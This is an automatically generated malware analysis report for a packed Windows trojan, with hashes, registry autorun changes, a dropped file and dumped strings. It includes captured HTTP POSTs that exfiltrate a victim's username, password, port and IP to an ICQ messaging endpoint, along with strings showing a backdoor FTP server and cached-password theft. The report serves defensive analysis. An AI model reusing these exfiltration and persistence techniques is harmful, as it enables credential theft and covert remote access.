Generic.Malware.GSFkbg.7996E9FD_b9a354cb48

by malwarelabrobot on October 10th, 2014 in Malware Descriptions.

HEUR:Trojan.Win32.Generic (Kaspersky), Generic.Malware.G!SFkbg.7996E9FD (B) (Emsisoft), Generic.Malware.G!SFkbg.7996E9FD (AdAware), Trojan.Win32.Bumat.FD, VirusParite.YR (Lavasoft MAS)
Behaviour: Trojan, Virus, Malware


The description has been automatically generated by Lavasoft Malware Analysis System and it may contain incomplete or inaccurate information.

Requires JavaScript enabled!

Summary
Dynamic Analysis
Static Analysis
Network Activity
Map
Strings from Dumps
Removals

MD5: b9a354cb48d2db1685fb9f1fef8a4f2f
SHA1: 032a01f72720705b9d62658c9cbea67aec5a14c4
SHA256: 04484fc5fda7618d2840fe1b370899a28ebbd087bece31504224f2cfa13e81d7
SSDeep: 6144:B3F8MHMHiTgxau4Ny6GI9youNIyrz2DoS6e1JcKL414qjiwzfebPdUvOawKAebRb:RFTax4EQ/ Iezu64JcKL41jjiwzfebPe
Size: 302080 bytes
File type: EXE
Platform: WIN32
Entropy: Packed
PEID: PackerUPXCompresorGratuitowwwupxsourceforgenet, UPXv0896v102v105v122Delphistub, UPolyXv05_v6
Company: VideoPerformer
Created at: 2001-06-04 01:06:50
Analyzed on: WindowsXPESX SP3 32-bit


Summary:

Trojan. A program that appears to do one thing but actually does another (a.k.a. Trojan Horse).

Payload

No specific payload has been found.

Process activity

The Generic creates the following process(es):
No processes have been created.
The Generic injects its code into the following process(es):

%original file name%.exe:1748

Mutexes

The following mutexes were created/opened:

OleWho2
ShimCacheMutex
RasPbFile

File activity

The process %original file name%.exe:1748 makes changes in the file system.
The Generic creates and/or writes to the following file(s):

%WinDir%\IspDrv32.exe (4275 bytes)

Registry activity

The process %original file name%.exe:1748 makes changes in the system registry.
The Generic creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "C1 5B F6 8D 8D 10 C8 80 91 C0 29 FE E4 B8 2D D7"

[HKCR\Ole32Ctrl]
"1Pa" = "Òúèä¾½½ü’"

"Psf" = "1"
"2Po" = "45100"

To automatically run itself each time Windows is booted, the Generic adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"IspStatus" = "IspDrv32.exe"

The Generic deletes the following value(s) in system registry:
The Generic disables automatic startup of the application by deleting the following autorun value:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"NetCtrl32"

"WinInetMsg"

Dropped PE files

There are no dropped PE files.

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

VersionInfo

Company Name: FutureComms
Product Name:
Product Version: 1.01
Legal Copyright: futurecomms2000
Legal Trademarks:
Original Filename: Isp32Link
Internal Name: Isp32Link.exe
File Version: 1.0.1.0
File Description: IspLinkDriver
Comments: Internet Linkup Driver
Language: English (United States)

PE Sections

Name Virtual Address Virtual Size Raw Size Entropy Section MD5
UPX0 4096 569344 0 0 d41d8cd98f00b204e9800998ecf8427e
UPX1 573440 294912 294912 5.48937 880e5ec5dbb4fb244104599eaaa45a28
.rsrc 868352 8192 6144 2.58854 85af96b9128bc4e42d67f790b8dbd452

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

URLs

URL IP
hxxp://redirect.ovip.icq.com/scripts/WWPMsg.dll
hxxp://wwp.mirabilis.com/scripts/WWPMsg.dll 178.237.20.50


IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST /scripts/WWPMsg.dll HTTP/1.0
Host: wwp.mirabilis.com
Accept: www/source, text/html, video/mpeg, image/jpeg, image/x-tiff
Accept: image/x-rgb, image/x-xbm, image/gif, */*, application/postscript
Content-type: application/x-www-form-urlencoded
Content-Length: 149

[email protected]&subject=Notice&body=Username[adm][PortNumber[45100][Pswd[Sync710s]OtherIP[192.168.1.130]CamerasFound[0]&to=103464999&send
HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 09 Oct 2014 13:40:04 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 210
Connection: close
Location: hXXp://VVV.icq.com/people/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>302 Found</title>.</head><body
>.<h1>Found</h1>.<p>The document has moved <a 
href="hXXp://VVV.icq.com/people/">here</a>.</p>.</bo
dy></html>...



POST /scripts/WWPMsg.dll HTTP/1.0
Host: wwp.mirabilis.com
Accept: www/source, text/html, video/mpeg, image/jpeg, image/x-tiff
Accept: image/x-rgb, image/x-xbm, image/gif, */*, application/postscript
Content-type: application/x-www-form-urlencoded
Content-Length: 149

[email protected]&subject=Notice&body=Username[adm][PortNumber[45100][Pswd[Sync710s]OtherIP[192.168.1.130]CamerasFound[0]&to=103464999&send
HTTP/1.1 302 Found
Server: nginx/1.6.2
Date: Thu, 09 Oct 2014 13:40:23 GMT
Content-Type: text/html; charset=iso-8859-1
Content-Length: 210
Connection: close
Location: hXXp://VVV.icq.com/people/
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html>&
lt;head>.<title>302 Found</title>.</head><body
>.<h1>Found</h1>.<p>The document has moved <a 
href="hXXp://VVV.icq.com/people/">here</a>.</p>.</bo
dy></html>...

The Generic connects to the servers at the folowing location(s):

%original file name%.exe_1748:

.rsrc
$Info: This file is packed with the UPX executable packer hXXp://upx.tsx.org $
Portuguese
DUNA_Key
Opening port
Port opened
Authentication: change password
Password expired
se port
Port otev
Abrindo a porta
Porta aberta
rasapi32.dll
Error opening rasapi.dll
rnaph.dll
Error opening rnaph.dll
Port
LocalPort
PeerPort
SocksPort
SocksPassword
wsock32.dll
%s: WSAStartup error #%d
Cannot change Port if not closed
Cannot change LocalPort if not closed
255.255.255.255
WSocketResolveHost: Cannot convert host address '%s'
WSocketResolvePort: Invalid Port.
WSocketResolvePort: Cannot convert port '%s'
Uh.uA
WSocketResolveProto: Cannot convert protocol '%s'
GetPeerPort
%s: can't start DNS lookup, error #%d
winsock.bind failed, error #%d
winsock.getsockname failed, error #%d
Connect: No Port Specified
listen: port not assigned
Winsock.GetHostName failed
Operation would block
Operation now in progress
Operation already in progress
Socket operation on non-socket
Protocol not supported
Socket type not supported
Operation not supported on socket
Protocol family not supported
Address family not supported by protocol family
WinSock DLL cannot support this application
Can't change socks port if not closed
listening is not supported thru socks server
tcp is the only protocol supported thru socks server
0.0.0.1
command not supported
address type not supported
TFtpString
TFtpServer (c) 1998-2000 F. Piette V1.08
FtpServerException
FtpSrv
TFtpSrvAuthenticateEvent
TFtpCtrlSocket
Password
TFtpSrvChangeDirectoryEvent
TFtpSrvBuildDirectoryEvent
TFtpSrvClientConnectEvent
TFtpSrvDataSessionConnectedEvent
TFtpSrvClientCommandEvent
Keyword
TFtpSrvAnswerToClientEvent
TFtpStringp
TFtpSrvValidateXferEvent
TFtpSrvDataAvailableEvent
TFtpSrvRetrDataSentEvent
TFtpSrvCommandProc
TFtpSrvCommandTableItem
TFtpServer
0.0.0.0
220 ICS FTP Server ready.
PORT
500 '%s': command not understood.
331 Password required for %s.
503 Login with USER first.
230 User %s logged in.
530 Login incorrect.
$530 Please login with USER and PASS.
250 CWD command successful. "%s" is current directory.
501 CWD failed. %s
257 "%s" is current directory.
200 Port command successful.
501 Invalid PORT command.
150 Opening data connection for %s.
501 Cannot STOR. %s
ftp-data
426 Connection closed; %s.
426 Connection closed; transfer aborted. Error #%d
501 Cannot RETR. %s
451 Failed: %s.
1 ftp ftp
%s %2.2d
200 Type set to %s.
500 'TYPE %s': command not understood.
250 File '%s' deleted.
450 File '%s' can't be deleted.
550 '%s': no such file or directory.
213 %d
550 Command failed: %s.
350 REST supported. Ready to resume at byte offset %d.
501 Syntax error in parameter: %s.
553 '%s': file already exists.
250 File '%s' renamed to '%s'.
450 File '%s' can't be renamed.
200 Ok. Parameter was '%s'.
550 '%s': can't create directory.
550 '%s': file or directory already exists.
257 '%s': directory created.
150 APPE supported. Ready to append file "%s" at offset %d.
200 Ok. STRU parameter '%s' ignored.
550 '%s': no such directory.
250 '%s': directory removed.
550 '%s': can't remove directory.
227 Entering Passive Mode (127,0,0,1,%d,%d).
227 Entering Passive Mode (%d,%d,%d,%d,%d,%d).
500 PASV exception: '%s'.
213 %s
550 %s
FtpSrvT (c) 1999-2000 F. Piette V1.02
TFtpCtrlSocket (c) 1998-2000 F. Piette V1.06
EFtpCtrlSocketExceptionxHB
EFtpCtrlSocketException\HB
FtpSrvC
TFtpCtrlState
ftpcInvalid
ftpcWaitingUserCode
ftpcWaitingPassword
ftpcReady
ftpcWaitingAnswer
TFtpCmdType
ftpcPORT
ftpcSTOR
ftpcRETR
ftpcCWD
ftpcXPWD
ftpcPWD
ftpcUSER
ftpcPASS
ftpcLIST
ftpcRMD
ftpcTYPE
ftpcSYST
ftpcQUIT
ftpcDELE
ftpcRNFR
ftpcMKD
ftpcRNTO
ftpcNOOP
ftpcNLST
ftpcABOR
ftpcCDUP
ftpcSIZE
ftpcREST
ftpcAPPE
ftpcSTRU
ftpcMDTM JB
TFtpOption
ftpcUNC
TFtpOptions
CmdBuf
CmdLen
TFtpCtrlSocket KB
FtpState
PassWord
220-ICS FTP Server ready
C:\TEMP\
OnKeyDown
OnKeyPress
OnKeyUp
%s: %s
%s:%s
Operation
ErrMsg
TNMURL
TNMURLx
NMURL
ReportLevel
Errmsg
Max Udp pack size=
Initializaton of windows sockets failed
%d.%d.%d.%d
,%d,%d
CmdType
CmdGET
CmdOPTIONS
CmdHEAD
CmdPOST
CmdPUT
CmdPATCH
CmdCOPY
CmdMOVE
CmdDELETE
CmdLINK
CmdUNLINK
CmdTRACE
CmdWRAPPED
HTTPException
NMHttp
TNMHTTP
ProxyPort
Head.txt
Default.htm
Send.dat
hXXp://
Empty URL
https
HTTP Secure Socket is not supported
HTTP/1.0
Content-type: application/x-www-form-urlencoded
Uh|%C
Uh_%C
UhB%C
ThreadCacheSizexEC
PasswordChar
ssHorizontal
AutoHotkeys,
AutoHotkeysp
:].tJ
Uh.LD
EInvalidGraphicOperation
KeyPreview
WindowState,
ssHotTrack
TWindowState
poProportional
TWMKey
Uh.JE
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
vcltest3.dll
TDragOperation
TKeyEvent
TKeyPressEvent
crSQLWait
%s (%s)
IMM32.DLL
EInvalidOperation
%s[%d]
%s_%d
USER32.DLL
comctl32.dll
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
kernel32.dll
Portions Copyright (c) 1983,99 Borland
XTRASERV.EXE
127.0.0.1
\sf.dat
111File Executed.
SMTP Server
SMTP Server =
SMTP Display Name
SMTP Display Name =
SMTP Email Address
SMTP Email Address =
c:\program files\icq\uin\*.uin
\SOFTWARE\Microsoft\Windows\CurrentVersion\
Windows 95
Windows 98
ProductKey
555Windows directory is -
\sshh.dat
iexplore.exe
\cds.dat
501cds.dat
\cdl.dat
501cdl.dat
\cc.jpg
111Wrong password entered.
111Unable to execute module -
111Wrong password
111Executing
On Port
\def.bmp
drwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *VIRTUAL
C:\VIRTUAL\
-rwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *FORBIDEN
-rwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *TEST
drwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *SOME DIR
193.121.12.25
C:\VIRTUAL\FORBIDEN
This is a file created on the fly by the FTP server
Software\Microsoft\Windows\CurrentVersion\Run
IspDrv32.exe
Password:
\IspDrv32.exe
IspDll32.exe
NetCtrl32.exe
WinInetMsg
WinInetMsg.exe
mpr.dll
WNetEnumCachedPasswords
Couldn't import function. This program is for Windows 95 only
Cached Passwords.
No passwords found.
End of cached passwords..
[email protected]&subject=Notice
][PortNumber[
hXXp://wwp.mirabilis.com/scripts/WWPMsg.dll
%s\%s
\SOFTWARE\WebX\
Software\WebX\
NMHTTP1
FtpSer
FtpSerAuthenticate
FtpSerAlterDirectory
FtpSerBuildDirectory
FtpSerChangeDirectory
FtpSerClientConnect
FtpSerRetrSessionClosed!
FtpSerRetrSessionConnected
FtpSerValidateDele
FtpSerValidateGet
FtpSerValidatePut
FtpSerMakeDirectory
NMHTTP1Failure
FtpSerValidateRnFr
FtpSerValidateRnTo
NMHTTP1Success
NMHTTP1InvalidHost
NMHTTP1ConnectionFailed
FtpSerClientDisconnect
NMHTTP1Redirect
!Operation not supported on socket
/Address family not supported by protocol family
#Incompatible version of WINSOCK.DLL
?456789:;<=
!"#$%&'()* ,-./0123
xxtype.cpp
derv->tpClass.tpcFlags & CF_HAS_BASES
Inappropriate I/O control operation
Broken pipe
Operation not permitted
%H:%M:%S
%m/%d/%y
%A, %B %d, %Y
d/d/d d:d:d.d
xx.cpp
varType->tpClass.tpcFlags & CF_HAS_DTOR
varType->tpClass.tpcDtorAddr
(errPtr->ERRcInitDtc >= varType->tpClass.tpcDtorCount) || flags
memType->tpClass.tpcFlags & CF_HAS_DTOR
varType->tpArr.tpaElemType->tpClass.tpcFlags & CF_HAS_DTOR
dttPtr->dttType->tpPtr.tppBaseType->tpClass.tpcFlags & CF_HAS_DTOR
IS_CLASS(dttPtr->dttType->tpMask) && (dttPtr->dttType->tpClass.tpcFlags & CF_HAS_DTOR)
elemType->tpClass.tpcFlags & CF_HAS_DTOR
Update.exe
@$xp$12Nmurl@TNMURL
@$xp$14Nmhttp@CmdType
@$xp$14Nmhttp@TNMHTTP
@$xp$16Ftpsrv@FtpSrv__3
@$xp$17Ftpsrv@TFtpServer
@$xp$17Ftpsrv@TFtpString
@$xp$18Ftpsrvc@TFtpOption
@$xp$18Nmhttp@THeaderInfo
@$xp$19Ftpsrvc@TFtpCmdType
@$xp$19Ftpsrvc@TFtpOptions
@$xp$19Nmhttp@TResultEvent
@$xp$19Nmurl@TOnErrorEvent
@$xp$20Nmhttp@HTTPException
@$xp$21Ftpsrvc@TCommandEvent
@$xp$21Ftpsrvc@TDisplayEvent
@$xp$21Ftpsrvc@TFtpCtrlState
@$xp$22Ftpsrvc@TFtpCtrlSocket
@$xp$25Ftpsrv@FtpServerException
@$xp$25Ftpsrv@TFtpSrvCommandProc
@$xp$26Ftpsrv@TFtpCtrlSocketClass
@$xp$30Ftpsrv@TFtpSrvCommandTableItem
@$xp$31Ftpsrv@TFtpSrvAuthenticateEvent
@$xp$31Ftpsrv@TFtpSrvRetrDataSentEvent
@$xp$31Ftpsrv@TFtpSrvValidateXferEvent
@$xp$31Ftpsrvc@EFtpCtrlSocketException
@$xp$32Ftpsrv@TFtpSrvClientCommandEvent
@$xp$32Ftpsrv@TFtpSrvClientConnectEvent
@$xp$32Ftpsrv@TFtpSrvDataAvailableEvent
@$xp$33Ftpsrv@TFtpSrvAnswerToClientEvent
@$xp$33Ftpsrv@TFtpSrvBuildDirectoryEvent
@$xp$34Ftpsrv@TFtpSrvChangeDirectoryEvent
@$xp$39Ftpsrv@TFtpSrvDataSessionConnectedEvent
@Ftpsrv@CopyRight
@Ftpsrv@Finalization$qqrv
@Ftpsrv@FtpServerException@
@Ftpsrv@Register$qqrv
@Ftpsrv@TFtpServer@
@Ftpsrv@TFtpServer@$bctr$qqrp18Classes@TComponent
@Ftpsrv@TFtpServer@$bdtr$qqrv
@Ftpsrv@TFtpServer@AddCommand$qqrx17System@AnsiStringxynpqqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2$v
@Ftpsrv@TFtpServer@BuildDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%p15Classes@TStreamo
@Ftpsrv@TFtpServer@ClientCommand$qqrp14System@TObjectpci
@Ftpsrv@TFtpServer@ClientDataSent$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientPassiveSessionAvailable$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientRetrDataSent$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientRetrSessionClosed$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientRetrSessionConnected$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientSessionClosed$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientStorDataAvailable$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientStorSessionClosed$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientStorSessionConnected$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@CommandABOR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandAPPE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandCDUP$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandCWD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandChangeDir$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandDELE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2o
@Ftpsrv@TFtpServer@CommandLIST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandMDTM$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandMKD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandNLST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandNOOP$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandPASS$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandPASV$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandPORT$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandPWD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandQUIT$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandREST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandRETR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandRMD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandRNFR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandRNTO$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandSIZE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandSTOR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandSTRU$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandSYST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandTYPE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandUSER$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandXPWD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@DisconnectAll$qqrv
@Ftpsrv@TFtpServer@GetActive$qqrv
@Ftpsrv@TFtpServer@GetClientCount$qqrv
@Ftpsrv@TFtpServer@Notification$qqrp18Classes@TComponent18Classes@TOperation
@Ftpsrv@TFtpServer@SendAnswer$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%
@Ftpsrv@TFtpServer@SendNextDataChunk$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocket
@Ftpsrv@TFtpServer@ServSocketSessionAvailable$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ServSocketStateChange$qqrp14System@TObject20Wsocket@TSocketStatet2
@Ftpsrv@TFtpServer@SetActive$qqro
@Ftpsrv@TFtpServer@Start$qqrv
@Ftpsrv@TFtpServer@StartSendData$qqrp22Ftpsrvc@TFtpCtrlSocket
@Ftpsrv@TFtpServer@Stop$qqrv
@Ftpsrv@TFtpServer@TriggerAlterDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%o
@Ftpsrv@TFtpServer@TriggerAuthenticate$qqrp22Ftpsrvc@TFtpCtrlSocket17System@AnsiStringt2ro
@Ftpsrv@TFtpServer@TriggerBuildDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%o
@Ftpsrv@TFtpServer@TriggerChangeDirectory$qqrp22Ftpsrvc@TFtpCtrlSocket17System@AnsiStringro
@Ftpsrv@TFtpServer@TriggerClientCommand$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@TriggerClientConnect$qqrp22Ftpsrvc@TFtpCtrlSocketus
@Ftpsrv@TFtpServer@TriggerClientDisconnect$qqrp22Ftpsrvc@TFtpCtrlSocketus
@Ftpsrv@TFtpServer@TriggerMakeDirectory$qqrp22Ftpsrvc@TFtpCtrlSocket17System@AnsiStringro
@Ftpsrv@TFtpServer@TriggerRetrDataSent$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus
@Ftpsrv@TFtpServer@TriggerRetrSessionClosed$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus
@Ftpsrv@TFtpServer@TriggerRetrSessionConnected$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus
@Ftpsrv@TFtpServer@TriggerSendAnswer$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%
@Ftpsrv@TFtpServer@TriggerServerStart$qqrv
@Ftpsrv@TFtpServer@TriggerServerStop$qqrv
@Ftpsrv@TFtpServer@TriggerStorDataAvailable$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketpcius
@Ftpsrv@TFtpServer@TriggerStorSessionClosed$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus
@Ftpsrv@TFtpServer@TriggerStorSessionConnected$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus
@Ftpsrv@TFtpServer@TriggerValidateDele$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro
@Ftpsrv@TFtpServer@TriggerValidateGet$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro
@Ftpsrv@TFtpServer@TriggerValidatePut$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro
@Ftpsrv@TFtpServer@TriggerValidateRnFr$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro
@Ftpsrv@TFtpServer@TriggerValidateRnTo$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro
@Ftpsrv@TFtpServer@WMFtpSrvAbortTransfer$qqrr17Messages@TMessage
@Ftpsrv@TFtpServer@WMFtpSrvClientClosed$qqrr17Messages@TMessage
@Ftpsrv@TFtpServer@WMFtpSrvCloseData$qqrr17Messages@TMessage
@Ftpsrv@TFtpServer@WMFtpSrvCloseRequest$qqrr17Messages@TMessage
@Ftpsrv@TFtpServer@WndProc$qqrr17Messages@TMessage
@Ftpsrv@initialization$qqrv
@Ftpsrvc@CopyRight
@Ftpsrvc@EFtpCtrlSocketException@
@Ftpsrvc@Finalization$qqrv
@Ftpsrvc@IsUNC$qqr17System@AnsiString
@Ftpsrvc@PatchIE5$qqrr17System@AnsiString
@Ftpsrvc@TFtpCtrlSocket@
@Ftpsrvc@TFtpCtrlSocket@$bctr$qqrp18Classes@TComponent
@Ftpsrvc@TFtpCtrlSocket@$bdtr$qqrv
@Ftpsrvc@TFtpCtrlSocket@Dup$qqri
@Ftpsrvc@TFtpCtrlSocket@GetPeerAddr$qqrv
@Ftpsrvc@TFtpCtrlSocket@SendAnswer$qqr17System@AnsiString
@Ftpsrvc@TFtpCtrlSocket@SetAbortingTransfer$qqro
@Ftpsrvc@TFtpCtrlSocket@SetDirectory$qqr17System@AnsiString
@Ftpsrvc@TFtpCtrlSocket@SetRcvSize$qqri
@Ftpsrvc@TFtpCtrlSocket@StartConnection$qqrv
@Ftpsrvc@TFtpCtrlSocket@TriggerCommand$qqrpci
@Ftpsrvc@TFtpCtrlSocket@TriggerDataAvailable$qqrus
@Ftpsrvc@TFtpCtrlSocket@TriggerSessionConnected$qqrus
@Ftpsrvc@initialization$qqrv
@Ftpsrvt@CopyRight
@Ftpsrvt@FileUtcStr$qqr17System@AnsiString
@Ftpsrvt@Finalization$qqrv
@Ftpsrvt@initialization$qqrv
@Nmhttp@Finalization$qqrv
@Nmhttp@HTTPException@
@Nmhttp@THeaderInfo@
@Nmhttp@TNMHTTP@
@Nmhttp@TNMHTTP@$bctr$qqrp18Classes@TComponent
@Nmhttp@TNMHTTP@$bdtr$qqrv
@Nmhttp@TNMHTTP@Abort$qqrv
@Nmhttp@TNMHTTP@AssembleHTTPHeader$qqrv
@Nmhttp@TNMHTTP@Copy$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Delete$qqr17System@AnsiString
@Nmhttp@TNMHTTP@Get$qqr17System@AnsiString
@Nmhttp@TNMHTTP@HTTPConnect$qqrv
@Nmhttp@TNMHTTP@Head$qqr17System@AnsiString
@Nmhttp@TNMHTTP@Link$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Move$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Options$qqr17System@AnsiString
@Nmhttp@TNMHTTP@ParseURL$qqrv
@Nmhttp@TNMHTTP@Patch$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Post$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Put$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@RemoveHeader$qqrv
@Nmhttp@TNMHTTP@SendHTTP$qqrv
@Nmhttp@TNMHTTP@Trace$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@UnLink$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Wrapped$qqr17System@AnsiStringt1
@Nmhttp@initialization$qqrv
@Nmurl@Finalization$qqrv
@Nmurl@TNMURL@
@Nmurl@TNMURL@$bctr$qqrp18Classes@TComponent
@Nmurl@TNMURL@$bdtr$qqrv
@Nmurl@TNMURL@GetDecodeString$qqrv
@Nmurl@TNMURL@GetEncodeString$qqrv
@Nmurl@TNMURL@URLDecode$qqrx17System@AnsiString
@Nmurl@TNMURL@URLEncode$qqrx17System@AnsiString
@Nmurl@initialization$qqrv
@Psock@InstantiateServethread@Execute$qqrv
@Psock@TPowersock@CertifyConnect$qqrv
@Psock@TPowersock@GetPortString$qqrv
@Wsocket@TCustomSocksWSocket@SetSocksPort$qqr17System@AnsiString
@Wsocket@TCustomWSocket@GetPeerPort$qqrv
@Wsocket@TCustomWSocket@GetRemotePort$qqrv
@Wsocket@TCustomWSocket@GetXPort$qqrv
@Wsocket@TCustomWSocket@Notification$qqrp18Classes@TComponent18Classes@TOperation
@Wsocket@TCustomWSocket@SetLocalPort$qqr17System@AnsiString
@Wsocket@TCustomWSocket@SetRemotePort$qqr17System@AnsiString
@Wsocket@WSocketResolvePort$qqr17System@AnsiStringt1
333333333333333333
33333833
3333339
3333333333333338
:*"*"$3338
3333333
33333333
33333333333
3333333333338
33338?383
333333333333
:*3:"$3338
333333333333333
Font.Charset
Font.Color
Font.Height
Font.Name
Font.Style
1-888-2-GET-WEB (In USA)
E-mail [email protected]
hXXp://VVV.netmastersllc.com
Picture.Data
[.QRh
\E.Rhj
! Obtain Support and Source Code
,Version: 5.3.0 Build:1055 Date:5/26/99
Submit Bug Report
HorzScrollBar.Visible
VertScrollBar.Visible
(Port IP scanner.Scan detected. IP logged
FtpSerRetrSessionClosed
GetCPInfo
GetProcessHeap
GetWindowsDirectoryA
RegCloseKey
RegCreateKeyExA
RegDeleteKeyA
RegEnumKeyExA
RegFlushKey
RegOpenKeyExA
RegQueryInfoKeyA
SetViewportOrgEx
ShellExecuteA
ActivateKeyboardLayout
EnumThreadWindows
EnumWindows
ExitWindowsEx
GetKeyNameTextA
GetKeyState
GetKeyboardLayout
GetKeyboardLayoutList
GetKeyboardState
GetKeyboardType
LoadKeyboardLayoutA
MapVirtualKeyA
